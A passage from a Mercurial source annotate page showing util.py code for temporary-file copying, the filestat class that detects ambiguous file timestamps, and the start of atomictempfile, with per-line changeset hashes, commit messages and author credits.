2309 if inst.errno == errno.ENOENT: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2310 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2311 if not getattr(inst, 'filename', None): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2312 inst.filename = name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2313 raise |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2314 ofp = posixfile(temp, b"wb") |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2315 for chunk in filechunkiter(ifp): |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2316 ofp.write(chunk) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2317 ifp.close() |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2318 ofp.close() |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2319 except: # re-raises |
34435
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2320 try: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2321 os.unlink(temp) |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2322 except OSError: |
5326e4ef1dab
style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents:
34362
diff
changeset
|
2323 pass |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2324 raise |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2325 return temp |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2326 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2327 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2328 class filestat(object): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2329 """help to exactly detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2330 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2331 'stat' attribute is result of 'os.stat()' if specified 'path' |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2332 exists. Otherwise, it is None. This can avoid preparative |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2333 'exists()' examination on client side of this class. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2334 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2335 |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2336 def __init__(self, stat): |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2337 self.stat = stat |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2338 |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2339 @classmethod |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2340 def frompath(cls, path): |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2341 try: |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2342 stat = os.stat(path) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2343 except OSError as err: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2344 if err.errno != errno.ENOENT: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2345 raise |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2346 stat = None |
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2347 return cls(stat) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2348 |
32816
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2349 @classmethod |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2350 def fromfp(cls, fp): |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2351 stat = os.fstat(fp.fileno()) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2352 return cls(stat) |
1b25c648d5b7
fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents:
32772
diff
changeset
|
2353 |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2354 __hash__ = object.__hash__ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2355 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2356 def __eq__(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2357 try: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2358 # if ambiguity between stat of new and old file is |
30332
318a24b52eeb
spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents:
30329
diff
changeset
|
2359 # avoided, comparison of size, ctime and mtime is enough |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2360 # to exactly detect change of a file regardless of platform |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2361 return ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2362 self.stat.st_size == old.stat.st_size |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2363 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2364 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME] |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2365 ) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2366 except AttributeError: |
32749
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2367 pass |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2368 try: |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2369 return self.stat is None and old.stat is None |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2370 except AttributeError: |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2371 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2372 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2373 def isambig(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2374 """Examine whether new (= self) stat is ambiguous against old one |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2375 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2376 "S[N]" below means stat of a file at N-th change: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2377 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2378 - S[n-1].ctime < S[n].ctime: can detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2379 - S[n-1].ctime == S[n].ctime |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2380 - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2381 - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2382 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2383 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2384 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2385 Case (*2) above means that a file was changed twice or more at |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2386 same time in sec (= S[n-1].ctime), and comparison of timestamp |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2387 is ambiguous. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2388 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2389 Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2390 timestamp is ambiguous". |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2391 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2392 But advancing mtime only in case (*2) doesn't work as |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2393 expected, because naturally advanced S[n].mtime in case (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2394 might be equal to manually advanced S[n-1 or earlier].mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2395 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2396 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2397 treated as ambiguous regardless of mtime, to avoid overlooking |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2398 by confliction between such mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2399 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2400 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2401 S[n].mtime", even if size of a file isn't changed. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2402 """ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2403 try: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2404 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2405 except AttributeError: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2406 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2407 |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2408 def avoidambig(self, path, old): |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2409 """Change file stat of specified path to avoid ambiguity |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2410 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2411 'old' should be previous filestat of 'path'. |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2412 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2413 This skips avoiding ambiguity, if a process doesn't have |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2414 appropriate privileges for 'path'. This returns False in this |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2415 case. |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2416 |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2417 Otherwise, this returns True, as "ambiguity is avoided". |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2418 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2419 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2420 try: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2421 os.utime(path, (advanced, advanced)) |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2422 except OSError as inst: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2423 if inst.errno == errno.EPERM: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2424 # utime() on the file created by another user causes EPERM, |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2425 # if a process doesn't have appropriate privileges |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2426 return False |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2427 raise |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2428 return True |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2429 |
29298
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2430 def __ne__(self, other): |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2431 return not self == other |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2432 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2433 |
8778
c5f36402daad
use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8631
diff
changeset
|
2434 class atomictempfile(object): |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
2435 '''writable file object that atomically updates a file |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2436 |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
2437 All writes will go to a temporary copy of the original file. Call |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2438 close() when you are done writing, and atomictempfile will rename |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2439 the temporary copy to the original name, making the changes |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2440 visible. If the object is destroyed without being closed, all your |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2441 writes are discarded. |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2442 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2443 checkambig argument of constructor is used with filestat, and is |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2444 useful only if target file is guarded by any lock (e.g. repo.lock |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2445 or repo.wlock). |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
2446 ''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2447 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2448 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2449 self.__name = name # permanent name |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2450 self._tempname = mktempcopy( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2451 name, |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2452 emptyok=(b'w' in mode), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2453 createmode=createmode, |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2454 enforcewritable=(b'w' in mode), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2455 ) |
41289
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2456 |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2457 self._fp = posixfile(self._tempname, mode) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2458 self._checkambig = checkambig |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2459 |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2460 # delegated methods |
29393
50269a4dce61
atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents:
29367
diff
changeset
|
2461 self.read = self._fp.read |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2462 self.write = self._fp.write |
17237
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
2463 self.seek = self._fp.seek |
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
2464 self.tell = self._fp.tell |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2465 self.fileno = self._fp.fileno |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2466 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2467 def close(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2468 if not self._fp.closed: |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2469 self._fp.close() |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2470 filename = localpath(self.__name) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2471 oldstat = self._checkambig and filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2472 if oldstat and oldstat.stat: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2473 rename(self._tempname, filename) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2474 newstat = filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2475 if newstat.isambig(oldstat): |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2476 # stat of changed file is ambiguous to original one |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2477 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2478 os.utime(filename, (advanced, advanced)) |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2479 else: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2480 rename(self._tempname, filename) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2481 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
